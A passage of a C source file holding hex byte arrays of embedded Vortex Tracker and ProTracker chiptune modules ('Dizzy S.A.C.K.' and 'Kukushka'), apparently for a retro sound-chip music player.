0xb1, 0x02, 0x68, 0xbb, 0x00, 0x34, 0x68, 0xdc, 0xbb, 0x00, 0x37, 0x23, 0xb1, 0x01, 0x68, 0x25,
0xd0, 0xda, 0xbb, 0x00, 0x3b, 0x26, 0xb1, 0x02, 0x68, 0xbb, 0x00, 0x3e, 0x68, 0xdc, 0xbb, 0x00,
0x42, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0xbb, 0x00, 0x46, 0x23, 0x74, 0x25, 0xd0, 0xbb, 0x00,
0x4a, 0x23, 0x74, 0x25, 0xd0, 0x00, 0xf4, 0x06, 0xcf, 0xb1, 0x02, 0x8d, 0xca, 0x8d, 0xcf, 0x89,
0x8d, 0xca, 0x8d, 0xcf, 0x89, 0x8d, 0xca, 0x8d, 0xcf, 0x89, 0x8d, 0xca, 0x8d, 0xcf, 0x89, 0xd5,
0x42, 0xce, 0x86, 0x84, 0x83, 0x82, 0x81, 0x80, 0x7f, 0x7e, 0x7d, 0x7c, 0x7b, 0x7a, 0x00, 0x02,
0x03, 0x00, 0x8f, 0x12, 0x00, 0x00, 0x8f, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x0c, 0x0d, 0x01,
0x8d, 0x00, 0x00, 0x01, 0x8d, 0x03, 0x00, 0x01, 0x8d, 0x00, 0x00, 0x01, 0x8d, 0xfd, 0xff, 0x01,
0x8d, 0x00, 0x00, 0x01, 0x8c, 0x03, 0x00, 0x01, 0x8b, 0x00, 0x00, 0x01, 0x8a, 0xfd, 0xff, 0x01,
0x89, 0x00, 0x00, 0x01, 0x87, 0x03, 0x00, 0x01, 0x85, 0x00, 0x00, 0x01, 0x82, 0xfd, 0xff, 0x01,
0x80, 0x00, 0x00, 0x10, 0x11, 0x01, 0x8f, 0x00, 0x00, 0x01, 0x0f, 0x00, 0x00, 0x01, 0x0e, 0x00,
0x00, 0x01, 0x0d, 0x00, 0x00, 0x01, 0x0c, 0x00, 0x00, 0x01, 0x0b, 0x00, 0x00, 0x01, 0x0a, 0x00,
0x00, 0x01, 0x09, 0x00, 0x00, 0x01, 0x08, 0x00, 0x00, 0x01, 0x07, 0x00, 0x00, 0x01, 0x06, 0x00,
0x00, 0x01, 0x05, 0x00, 0x00, 0x01, 0x04, 0x00, 0x00, 0x01, 0x03, 0x00, 0x00, 0x01, 0x02, 0x00,
0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x01, 0x01, 0x1f, 0x00, 0x00, 0x0c,
0x0d, 0x01, 0x8d, 0x00, 0x00, 0x01, 0x0d, 0x03, 0x00, 0x01, 0x0d, 0x00, 0x00, 0x01, 0x8d, 0xfd,
0xff, 0x01, 0x8d, 0x00, 0x00, 0x01, 0x8c, 0x03, 0x00, 0x01, 0x8b, 0x00, 0x00, 0x01, 0x8a, 0xfd,
0xff, 0x01, 0x89, 0x00, 0x00, 0x01, 0x87, 0x03, 0x00, 0x01, 0x85, 0x00, 0x00, 0x01, 0x82, 0xfd,
0xff, 0x01, 0x80, 0x00, 0x00, 0x04, 0x05, 0x01, 0xcf, 0x00, 0x01, 0x01, 0xce, 0x00, 0x01, 0x01,
0xcd, 0x00, 0x01, 0x01, 0xcc, 0x00, 0x01, 0x00, 0x90, 0x00, 0x00, 0x05, 0x06, 0x0d, 0x6f, 0x64,
0x00, 0x01, 0xcf, 0x64, 0x00, 0x01, 0x4e, 0x28, 0x01, 0x81, 0x4d, 0x32, 0x00, 0x01, 0x4d, 0x32,
0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x02, 0x01, 0x00, 0x00, 0x05, 0x30, 0x24,
0x18, 0x0c, 0x00, 0x04, 0x05, 0x00, 0x0c, 0x00, 0x0c, 0x00,
};
const uint8_t dizzy_sack[] MUSICMEM = {
0x56, 0x6f, 0x72, 0x74, 0x65, 0x78, 0x20, 0x54, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x72, 0x20, 0x49,
0x49, 0x20, 0x31, 0x2e, 0x30, 0x20, 0x6d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x3a, 0x20, 0x53, 0x70,
0x65, 0x63, 0x69, 0x61, 0x6c, 0x20, 0x74, 0x72, 0x61, 0x63, 0x6b, 0x20, 0x66, 0x6f, 0x72, 0x20,
0x44, 0x69, 0x7a, 0x7a, 0x79, 0x20, 0x53, 0x2e, 0x41, 0x2e, 0x43, 0x2e, 0x4b, 0x2e, 0x20, 0x62,
0x79, 0x20, 0x4b, 0x61, 0x72, 0x62, 0x6f, 0x66, 0x6f, 0x73, 0x27, 0x32, 0x30, 0x30, 0x36, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x02, 0x03, 0x1b, 0x01, 0xe5, 0x00, 0x00, 0x00, 0x60, 0x0b, 0x66, 0x0b, 0x74,
0x0b, 0x7a, 0x0b, 0x80, 0x0b, 0x86, 0x0b, 0x90, 0x0b, 0x00, 0x00, 0xb6, 0x0b, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0x0b, 0xcb, 0x0b, 0xd0, 0x0b, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd5, 0x0b, 0x00, 0x00, 0x03, 0x06, 0x09, 0x06, 0x0c,
0x0f, 0x12, 0x0f, 0x12, 0x15, 0x15, 0x18, 0x18, 0x1b, 0x1b, 0x1e, 0x1e, 0x21, 0x21, 0x1b, 0x1b,
0x18, 0x18, 0x15, 0x15, 0xff, 0x2d, 0x01, 0x31, 0x01, 0xa1, 0x01, 0xc7, 0x01, 0xcb, 0x01, 0x05,
0x02, 0x27, 0x02, 0x1c, 0x03, 0x56, 0x03, 0x78, 0x03, 0x00, 0x04, 0x37, 0x04, 0x59, 0x04, 0x00,
0x04, 0x37, 0x04, 0x2c, 0x05, 0xcb, 0x01, 0x05, 0x02, 0x50, 0x05, 0x72, 0x05, 0xab, 0x05, 0xcd,
0x05, 0x52, 0x06, 0x8d, 0x06, 0xd2, 0x06, 0x52, 0x06, 0x8d, 0x06, 0x57, 0x07, 0x52, 0x06, 0x8d,
0x06, 0xda, 0x07, 0x5f, 0x08, 0x9a, 0x08, 0x9d, 0x09, 0x22, 0x0a, 0x5d, 0x0a, 0xb1, 0x40, 0xc0,
0x00, 0xff, 0x02, 0xcf, 0x09, 0xb1, 0x01, 0x61, 0x06, 0xc0, 0x61, 0xc0, 0xd7, 0xb1, 0x02, 0x74,
0xd1, 0xb1, 0x01, 0x5e, 0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xd7, 0xb1, 0x02, 0x74, 0xd1,
0xb1, 0x01, 0x5e, 0xc0, 0x00, 0xd2, 0x42, 0xca, 0xb1, 0x02, 0x79, 0xb1, 0x04, 0x79, 0xb1, 0x02,
0x79, 0x79, 0xb1, 0x04, 0x79, 0xb1, 0x02, 0x79, 0x79, 0xb1, 0x04, 0x79, 0xb1, 0x02, 0x79, 0x79,
0xb1, 0x04, 0x79, 0xb1, 0x02, 0x79, 0x00, 0xff, 0x06, 0xcf, 0xb1, 0x01, 0x85, 0x01, 0xd0, 0x02,
0x01, 0x00, 0xd1, 0x01, 0x85, 0x01, 0xff, 0xff, 0x01, 0xd0, 0x01, 0x01, 0x00, 0xb1, 0x02, 0x82,
0xc8, 0x85, 0xd3, 0xcf, 0xb1, 0x01, 0x80, 0x01, 0xd0, 0x02, 0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd,
0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0xd1, 0xb1, 0x03, 0x80, 0xca, 0xb1, 0x01, 0x7e, 0xd3, 0xcf,
0x7d, 0x01, 0xd0, 0x02, 0x02, 0x00, 0x01, 0xd0, 0x01, 0xfe, 0xff, 0x01, 0xd0, 0x01, 0x02, 0x00,
0x01, 0xd0, 0x01, 0xfe, 0xff, 0x01, 0xd0, 0x01, 0x02, 0x00, 0xd1, 0x01, 0x7d, 0x01, 0xfe, 0xff,
0x01, 0xd0, 0x01, 0x02, 0x00, 0xb1, 0x02, 0x7b, 0xc8, 0x7d, 0xd3, 0xcf, 0xb1, 0x01, 0x7d, 0x01,
0xd0, 0x02, 0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0x01, 0xd0,
0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01,
0x03, 0x00, 0x80, 0x01, 0xd0, 0x02, 0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01,
0x03, 0x00, 0xc8, 0xb1, 0x04, 0x7d, 0xcf, 0xb1, 0x01, 0x7d, 0x01, 0xd0, 0x02, 0x03, 0x00, 0x01,
0xd0, 0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0xce, 0x01, 0xd0, 0x01, 0x0a, 0x00, 0xcd,
0xd0, 0xcc, 0xd0, 0xcb, 0xd0, 0xc8, 0x7d, 0x01, 0xd0, 0x02, 0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd,
0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0xcf, 0x7b, 0x01, 0xd0, 0x02, 0x03, 0x00, 0x01, 0xd0, 0x01,
0xfd, 0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01, 0x03,
0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0x00, 0xd1, 0x09, 0xb1, 0x02,
0x61, 0x03, 0xc0, 0x61, 0xc0, 0xd7, 0xb1, 0x04, 0x74, 0xd1, 0xb1, 0x02, 0x5e, 0xc0, 0x61, 0xc0,
0x61, 0xc0, 0xd7, 0xb1, 0x04, 0x74, 0xd1, 0xb1, 0x02, 0x5e, 0xc0, 0x61, 0xc0, 0x61, 0xc0, 0xd7,
0xb1, 0x04, 0x74, 0xd1, 0xb1, 0x02, 0x5e, 0xc0, 0x61, 0xc0, 0x61, 0xc0, 0xd7, 0xb1, 0x04, 0x74,
0xd1, 0xb1, 0x02, 0x5e, 0xc0, 0x00, 0xd2, 0x42, 0xca, 0xb1, 0x04, 0x79, 0xb1, 0x08, 0x79, 0xb1,
0x04, 0x79, 0x79, 0xb1, 0x08, 0x79, 0xb1, 0x04, 0x79, 0x79, 0xb1, 0x08, 0x79, 0xb1, 0x04, 0x79,
0x79, 0xb1, 0x08, 0x79, 0xb1, 0x04, 0x79, 0x00, 0xd3, 0xb1, 0x01, 0x7d, 0x01, 0xd0, 0x02, 0x03,
0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0xce, 0x01, 0xd0, 0x01, 0xfd,
0xff, 0xcd, 0x01, 0xd0, 0x01, 0x03, 0x00, 0xcc, 0xd0, 0xcb, 0xd0, 0xcf, 0x02, 0xb1, 0x02, 0x80,
0x01, 0x2e, 0x00, 0xf1, 0xff, 0x01, 0xd0, 0x01, 0x01, 0x00, 0xb1, 0x01, 0x7d, 0x01, 0xd0, 0x02,
0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0xc8, 0xb1, 0x04, 0x80,
0x7d, 0xcf, 0xb1, 0x01, 0x7b, 0x01, 0xd0, 0x02, 0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff, 0x01,
0xd0, 0x01, 0x03, 0x00, 0x80, 0x01, 0xd0, 0x02, 0x02, 0x00, 0x01, 0xd0, 0x01, 0xfe, 0xff, 0x01,
0xd0, 0x01, 0x02, 0x00, 0x01, 0xd0, 0x01, 0xfe, 0xff, 0x01, 0xd0, 0x01, 0x02, 0x00, 0x01, 0xd0,
0x01, 0xfe, 0xff, 0x01, 0xd0, 0x01, 0x02, 0x00, 0x01, 0xb1, 0x1c, 0xc0, 0x01, 0xfe, 0xff, 0x00,
0xd1, 0xb1, 0x02, 0x5c, 0xc0, 0x5c, 0xc0, 0xd7, 0xb1, 0x04, 0x74, 0xd1, 0xb1, 0x02, 0x57, 0xc0,
0x5c, 0xc0, 0x5c, 0xc0, 0xd7, 0xb1, 0x04, 0x74, 0xd1, 0xb1, 0x02, 0x57, 0xc0, 0x5c, 0xc0, 0x5c,
0xc0, 0xd7, 0xb1, 0x04, 0x74, 0xd1, 0xb1, 0x02, 0x57, 0xc0, 0x5c, 0xc0, 0x5c, 0xc0, 0xd7, 0x74,
0xca, 0x74, 0xcf, 0x74, 0xcd, 0x74, 0x00, 0xd2, 0x42, 0xca, 0xb1, 0x04, 0x74, 0xb1, 0x08, 0x74,
0xb1, 0x04, 0x74, 0x74, 0xb1, 0x08, 0x74, 0xb1, 0x04, 0x74, 0x74, 0xb1, 0x08, 0x74, 0xb1, 0x04,
0x74, 0x74, 0xb1, 0x08, 0x74, 0xb1, 0x04, 0x74, 0x00, 0xd3, 0xb1, 0x01, 0x7d, 0x01, 0xd0, 0x02,
0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0xce, 0x01, 0xd0, 0x01,
0xfd, 0xff, 0xcd, 0x01, 0xd0, 0x01, 0x03, 0x00, 0xcc, 0xd0, 0xcb, 0xd0, 0xcf, 0x02, 0xb1, 0x02,
0x80, 0x01, 0x2e, 0x00, 0xf1, 0xff, 0x01, 0xd0, 0x01, 0x01, 0x00, 0xb1, 0x01, 0x7d, 0x01, 0xd0,
0x02, 0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0xc8, 0xb1, 0x04,
0x80, 0x7d, 0xcf, 0xb1, 0x01, 0x7b, 0x01, 0xd0, 0x02, 0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff,
0x01, 0xd0, 0x01, 0x03, 0x00, 0x84, 0x01, 0xd0, 0x02, 0x02, 0x00, 0x01, 0xd0, 0x01, 0xfe, 0xff,
0x01, 0xd0, 0x01, 0x02, 0x00, 0x01, 0xd0, 0x01, 0xfe, 0xff, 0x01, 0xb1, 0x03, 0xd0, 0x01, 0x07,
0x00, 0xc8, 0xb1, 0x04, 0x84, 0x7b, 0xb1, 0x03, 0x84, 0xb1, 0x01, 0x84, 0xcf, 0x02, 0x85, 0x01,
0x09, 0x00, 0xfd, 0xff, 0x01, 0xd0, 0x02, 0x02, 0x00, 0x01, 0xd0, 0x01, 0xfe, 0xff, 0x01, 0xd0,
0x01, 0x02, 0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0xca, 0xb1, 0x02,
0x74, 0xb1, 0x04, 0x74, 0xb1, 0x02, 0x74, 0x74, 0xb1, 0x04, 0x74, 0xb1, 0x02, 0x74, 0x74, 0xb1,
0x04, 0x74, 0xb1, 0x02, 0x74, 0x74, 0xb1, 0x04, 0x74, 0xb1, 0x02, 0x74, 0x00, 0x1c, 0x00, 0x27,
0x0a, 0x40, 0xb1, 0x01, 0x61, 0xbb, 0x00, 0x27, 0x55, 0xbd, 0x00, 0x23, 0x63, 0xbb, 0x00, 0x27,
0x55, 0xbd, 0x00, 0x1f, 0x65, 0xbb, 0x00, 0x27, 0x55, 0xbd, 0x00, 0x27, 0x61, 0xbb, 0x00, 0x27,
0x55, 0xbd, 0x00, 0x1d, 0x66, 0xbb, 0x00, 0x1d, 0x5a, 0xbd, 0x00, 0x17, 0x6a, 0xbb, 0x00, 0x1d,
0x5a, 0xbd, 0x00, 0x14, 0x6d, 0xbb, 0x00, 0x1d, 0x5a, 0xbd, 0x00, 0x17, 0x6a, 0xbb, 0x00, 0x1d,
0x5a, 0xbd, 0x00, 0x1a, 0x68, 0xbb, 0x00, 0x1a, 0x5c, 0xbd, 0x00, 0x15, 0x6c, 0xbb, 0x00, 0x1a,
0x5c, 0xbd, 0x00, 0x11, 0x6f, 0xbb, 0x00, 0x1a, 0x5c, 0xbd, 0x00, 0x15, 0x6c, 0xbb, 0x00, 0x1a,
0x5c, 0xbd, 0x00, 0x14, 0x6d, 0xbb, 0x00, 0x27, 0x55, 0xbd, 0x00, 0x17, 0x6a, 0xbb, 0x00, 0x27,
0x55, 0xbd, 0x00, 0x1a, 0x68, 0xbb, 0x00, 0x27, 0x55, 0xbd, 0x00, 0x1f, 0x65, 0xbb, 0x00, 0x27,
0x55, 0x00, 0xd1, 0xcf, 0x09, 0xb1, 0x01, 0x61, 0x06, 0xc0, 0x61, 0xc0, 0xd7, 0xb1, 0x02, 0x74,
0xd1, 0xb1, 0x01, 0x5e, 0xc0, 0x66, 0xc0, 0x66, 0xc0,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00, 0x1a, 0x5c, 0xbd, 0x00, 0x15, 0x6c, 0xbb, 0x00, 0x1a, 0x5c, 0xbd, 0x00,
0x17, 0x6a, 0xbb, 0x00, 0x1a, 0x5c, 0xbd, 0x00, 0x1a, 0x68, 0xbb, 0x00, 0x27, 0x55, 0xbd, 0x00,
0x1f, 0x65, 0xbb, 0x00, 0x27, 0x55, 0xbd, 0x00, 0x23, 0x63, 0xbb, 0x00, 0x27, 0x55, 0xbd, 0x00,
0x27, 0x61, 0xbb, 0x00, 0x27, 0x55, 0x00, 0x1c, 0x00, 0x0d, 0x08, 0x40, 0xb1, 0x02, 0x74, 0xbd,
0x00, 0x10, 0xb1, 0x01, 0x71, 0xbb, 0x00, 0x27, 0x55, 0xbd, 0x00, 0x14, 0xb1, 0x02, 0x6d, 0xbd,
0x00, 0x10, 0xb1, 0x01, 0x71, 0xbb, 0x00, 0x27, 0x55, 0xbd, 0x00, 0x0f, 0xb1, 0x02, 0x72, 0xbd,
0x00, 0x14, 0xb1, 0x01, 0x6d, 0xbb, 0x00, 0x1d, 0x5a, 0xbd, 0x00, 0x0a, 0xb1, 0x02, 0x78, 0xbd,
0x00, 0x34, 0xb1, 0x01, 0x5c, 0xbb, 0x00, 0x1d, 0x5a, 0xbd, 0x00, 0x11, 0xb1, 0x02, 0x6f, 0xbd,
0x00, 0x14, 0xb1, 0x01, 0x6d, 0xbb, 0x00, 0x1a, 0x5c, 0xbd, 0x00, 0x15, 0xb1, 0x02, 0x6c, 0xbd,
0x00, 0x17, 0xb1, 0x01, 0x6a, 0xbb, 0x00, 0x1a, 0x5c, 0xbd, 0x00, 0x1a, 0xb1, 0x02, 0x68, 0xbd,
0x00, 0x1f, 0xb1, 0x01, 0x65, 0xbb, 0x00, 0x27, 0x55, 0xbd, 0x00, 0x23, 0x63, 0xbb, 0x00, 0x27,
0x55, 0xbd, 0x00, 0x27, 0x61, 0xbb, 0x00, 0x27, 0x55, 0x00, 0x1c, 0x00, 0x27, 0x0a, 0x40, 0xb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, 0x41, 0xcc, 0x72, 0xd3, 0x42, 0xca, 0x80, 0xd6, 0x41, 0xcf, 0x6d,
0xd3, 0x42, 0xca, 0x79, 0xd6, 0x41, 0xcc, 0x68, 0xd3, 0x42, 0xca, 0x79, 0xd6, 0x41, 0xcf, 0x68,
0xd3, 0x42, 0xca, 0x79, 0xd6, 0x41, 0xcc, 0x6d, 0xd3, 0x42, 0xca, 0x79, 0xd6, 0x41, 0xcf, 0x71,
0xd3, 0x42, 0xca, 0x79, 0xd6, 0x41, 0xcc, 0x68, 0xd3, 0x42, 0xca, 0x79, 0xd6, 0x41, 0xcf, 0x68,
0xd3, 0x42, 0xca, 0x79, 0xd6, 0x41, 0xcc, 0x71, 0xd3, 0x42, 0xca, 0x79, 0x00, 0x1c, 0x00, 0x23,
0x0a, 0x40, 0xb1, 0x02, 0x63, 0xbb, 0x00, 0x23, 0x57, 0xbd, 0x00, 0x1f, 0x65, 0xbb, 0x00, 0x23,
0x57, 0xbd, 0x00, 0x1c, 0x67, 0xbb, 0x00, 0x23, 0x57, 0xbd, 0x00, 0x23, 0x63, 0xbb, 0x00, 0x23,
0x57, 0xbd, 0x00, 0x1a, 0x68, 0xbb, 0x00, 0x1a, 0x5c, 0xbd, 0x00, 0x14, 0x6c, 0xbb, 0x00, 0x1a,
0x5c, 0xbd, 0x00, 0x12, 0x6f, 0xbb, 0x00, 0x1a, 0x5c, 0xbd, 0x00, 0x14, 0x6c, 0xbb, 0x00, 0x1a,
0x5c, 0xbd, 0x00, 0x17, 0x6a, 0xbb, 0x00, 0x17, 0x5e, 0xbd, 0x00, 0x13, 0x6e, 0xbb, 0x00, 0x17,
0x5e, 0xbd, 0x00, 0x0f, 0x71, 0xbb, 0x00, 0x17, 0x5e, 0xbd, 0x00, 0x13, 0x6e, 0xbb, 0x00, 0x17,
0x5e, 0xbd, 0x00, 0x12, 0x6f, 0xbb, 0x00, 0x23, 0x57, 0xbd, 0x00, 0x14, 0x6c, 0xbb, 0x00, 0x23,
0x57, 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 0x6c, 0xd3, 0x42, 0xca, 0x80, 0xd6,
0x41, 0xcc, 0x6c, 0xd3, 0x42, 0xca, 0x80, 0xd6, 0x41, 0xcf, 0x74, 0xd3, 0x42, 0xca, 0x80, 0xd6,
0x41, 0xcc, 0x71, 0xd3, 0x42, 0xca, 0x82, 0xd6, 0x41, 0xcf, 0x6c, 0xd3, 0x42, 0xca, 0x82, 0xd6,
0x41, 0xcc, 0x6a, 0xd3, 0x42, 0xca, 0x82, 0xd6, 0x41, 0xcf, 0x71, 0xd3, 0x42, 0xca, 0x82, 0xd6,
0x41, 0xcc, 0x74, 0xd3, 0x42, 0xca, 0x82, 0xd6, 0x41, 0xcf, 0x6a, 0xd3, 0x42, 0xca, 0x82, 0xd6,
0x41, 0xcf, 0x6a, 0xd3, 0x42, 0xca, 0x82, 0xd6, 0x41, 0xcc, 0x74, 0xd3, 0x42, 0xca, 0x82, 0xd6,
0x41, 0xcf, 0x6f, 0xd3, 0x42, 0xca, 0x7b, 0xd6, 0x41, 0xcc, 0x6a, 0xd3, 0x42, 0xca, 0x7b, 0xd6,
0x41, 0xcf, 0x6a, 0xd3, 0x42, 0xca, 0x7b, 0xd6, 0x41, 0xcc, 0x6f, 0xd3, 0x42, 0xca, 0x7b, 0xd6,
0x41, 0xcf, 0x73, 0xd3, 0x42, 0xca, 0x7b, 0xd6, 0x41, 0xcc, 0x6a, 0xd3, 0x42, 0xca, 0x7b, 0xd6,
0x41, 0xcf, 0x6a, 0xd3, 0x42, 0xca, 0x7b, 0xd6, 0x41, 0xcc, 0x73, 0xd3, 0x42, 0xca, 0x7b, 0x00,
0x00, 0x01, 0x81, 0x8f, 0x00, 0x00, 0x02, 0x03, 0x01, 0x0f, 0x00, 0x00, 0x01, 0x0f, 0x00, 0x00,
0x01, 0x8f, 0x00, 0x00, 0x00, 0x01, 0x01, 0x8f, 0x00, 0x00, 0x00, 0x01, 0x00, 0x90, 0x00, 0x00,
0x00, 0x01, 0x00, 0x80, 0x00, 0x00, 0x00, 0x02, 0x01, 0x8f, 0x00, 0x00, 0x81, 0x8f, 0x00, 0x00,
0x08, 0x09, 0x09, 0x0f, 0x32, 0x00, 0x01, 0x8f, 0x64, 0x00, 0x15, 0x0f, 0x96, 0x00, 0x15, 0x0e,
0xc8, 0x00, 0x17, 0x0d, 0xfa, 0x00, 0x19, 0x0c, 0x2c, 0x01, 0x1b, 0x1b, 0x5e, 0x01, 0x1d, 0x1a,
0x90, 0x01, 0x01, 0x99, 0x68, 0x01, 0x03, 0x04, 0x01, 0x17, 0x00, 0x00, 0x01, 0x15, 0x00, 0x00,
0x01, 0x13, 0x00, 0x00, 0x81, 0x12, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x03, 0x13, 0x13, 0x00,
0x00, 0x03, 0x00, 0x04, 0x07, 0x00, 0x01, 0x00,
};
const uint8_t kukushka[] MUSICMEM = {
0x50, 0x72, 0x6f, 0x54, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x72, 0x20, 0x33, 0x2e, 0x35, 0x20, 0x63,
0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x6f, 0x66, 0x20, 0x56, 0x2e,
0x43, 0x6f, 0x79, 0x20, 0x22, 0x4b, 0x75, 0x6b, 0x75, 0x73, 0x68, 0x6b, 0x61, 0x22, 0x20, 0x3c,
0x72, 0x4d, 0x78, 0x3e, 0x20, 0x68, 0x21, 0x20, 0x66, 0x41, 0x6e, 0x5a, 0x3b, 0x29, 0x20, 0x62,
0x79, 0x20, 0x4d, 0x6d, 0x3c, 0x4d, 0x20, 0x6f, 0x66, 0x20, 0x53, 0x61, 0x67, 0x65, 0x20, 0x31,
0x39, 0x2e, 0x44, 0x65, 0x63, 0x2e, 0x58, 0x58, 0x20, 0x74, 0x77, 0x72, 0x20, 0x32, 0x31, 0x3a,
0x31, 0x35, 0x20, 0x02, 0x03, 0x19, 0x02, 0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf5, 0x0e, 0x03,
0x0f, 0x19, 0x0f, 0x23, 0x0f, 0x31, 0x0f, 0x3f, 0x0f, 0x45, 0x0f, 0x00, 0x00, 0x63, 0x0f, 0x71,
0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x77, 0x0f, 0x7a, 0x0f, 0x00, 0x00, 0x85,
0x0f, 0x8a, 0x0f, 0x8f, 0x0f, 0x93, 0x0f, 0x9b, 0x0f, 0xa3, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x06, 0x09, 0x06, 0x09, 0x06,
0x09, 0x0c, 0x0f, 0x12, 0x15, 0x18, 0x1b, 0x1e, 0x21, 0x24, 0x15, 0x27, 0x21, 0x2a, 0x15, 0x2d,
0x06, 0x09, 0xff, 0x43, 0x01, 0x4c, 0x01, 0x8d, 0x01, 0xd6, 0x01, 0xee, 0x01, 0x2d, 0x02, 0x76,
0x02, 0xf4, 0x02, 0x38, 0x03, 0x3b, 0x04, 0xee, 0x01, 0xb9, 0x04, 0xbc, 0x05, 0x30, 0x06, 0x6a,
0x06, 0x6d, 0x07, 0xe1, 0x07, 0x6a, 0x06, 0x27, 0x08, 0x9b, 0x08, 0xe5, 0x08, 0x6d, 0x07, 0xe8,
0x09, 0x35, 0x0a, 0x6d, 0x07, 0x34, 0x0b, 0x6a, 0x06, 0x6d, 0x07, 0x66, 0x0b, 0x6a, 0x06, 0xa1,
0x0b, 0x18, 0x0c, 0xe5, 0x08, 0x6d, 0x07, 0x62, 0x0c, 0x35, 0x0a, 0xaf, 0x0c, 0x23, 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,
0x84, 0xf0, 0x08, 0xbd, 0x00, 0x3e, 0xb1, 0x02, 0x71, 0xf6, 0x0a, 0xcc, 0x84, 0xf0, 0x08, 0xbd,
0x00, 0x7c, 0xcf, 0x65, 0xbd, 0x00, 0x3e, 0x71, 0x10, 0x06, 0xb1, 0x04, 0x7d, 0x1c, 0x00, 0x7c,
0x08, 0x65, 0x1c, 0x00, 0x34, 0x04, 0x71, 0xd4, 0x08, 0xb1, 0x02, 0x80, 0x01, 0x01, 0x00, 0x80,
0x00, 0xf1, 0x14, 0xcf, 0xb1, 0x04, 0x84, 0xcc, 0xb1, 0x02, 0x82, 0x84, 0xcf, 0xb1, 0x04, 0x84,
0xcc, 0xb1, 0x02, 0x82, 0xb1, 0x04, 0x84, 0xcb, 0xb1, 0x02, 0x82, 0xb1, 0x04, 0x84, 0xca, 0xb1,
0x02, 0x82, 0xb1, 0x04, 0x84, 0xc9, 0xb1, 0x02, 0x82, 0xb1, 0x04, 0x84, 0xc8, 0xb1, 0x02, 0x82,
0xb1, 0x06, 0x84, 0xcf, 0xb1, 0x04, 0x84, 0x84, 0xcc, 0xb1, 0x02, 0x82, 0x84, 0xcf, 0xb1, 0x04,
0x80, 0xcc, 0xb1, 0x02, 0x84, 0x80, 0x00, 0xf0, 0x04, 0xbd, 0x00, 0x8c, 0xcf, 0xb1, 0x04, 0x71,
0xf7, 0x0a, 0x82, 0xf0, 0x08, 0xbd, 0x00, 0x46, 0xb1, 0x02, 0x6f, 0xf7, 0x0a, 0xcc, 0x82, 0xf0,
0x08, 0xbd, 0x00, 0x8c, 0xcf, 0x63, 0xbd, 0x00, 0x46, 0x6f, 0x10, 0x06, 0xb1, 0x04, 0x7d, 0x1c,
0x00, 0x8c, 0x08, 0x63, 0x1c, 0x00, 0x46, 0x04, 0x71, 0x1c, 0x00, 0x8c, 0x08, 0xb1, 0x02, 0x63,
0x76, 0x1c, 0x00, 0x9d, 0x04, 0xb1, 0x04, 0x71, 0xf7, 0x0a, 0x80, 0xf0,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x04,
0x87, 0x84, 0xcc, 0xb1, 0x02, 0x87, 0xb1, 0x04, 0x84, 0xcb, 0xb1, 0x02, 0x87, 0xb1, 0x04, 0x84,
